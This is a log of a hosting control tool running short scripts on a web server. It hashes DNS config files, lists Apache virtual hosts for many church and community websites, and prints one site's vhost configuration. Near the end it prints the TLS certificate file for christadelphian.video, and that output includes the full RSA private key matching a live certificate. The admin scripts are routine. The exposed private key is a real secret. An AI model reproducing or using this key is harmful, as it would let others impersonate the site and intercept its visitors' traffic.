MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:23:37: Establishing a connection
2026-01-03 19:23:37: 

PUT: /tmp/pkp568747

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:23:37: 

chmod 755 /tmp/pkp568747; /tmp/pkp568747; rm /tmp/pkp568747

2026-01-03 19:23:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:23:37: 

PUT: /tmp/pkp686268

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:23:37: 

chmod 755 /tmp/pkp686268; /tmp/pkp686268; rm /tmp/pkp686268

2026-01-03 19:23:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1246

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:23:38: 

PUT: /tmp/pkp701930

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:23:38: 

chmod 755 /tmp/pkp701930; /tmp/pkp701930; rm /tmp/pkp701930

2026-01-03 19:23:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	5381
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
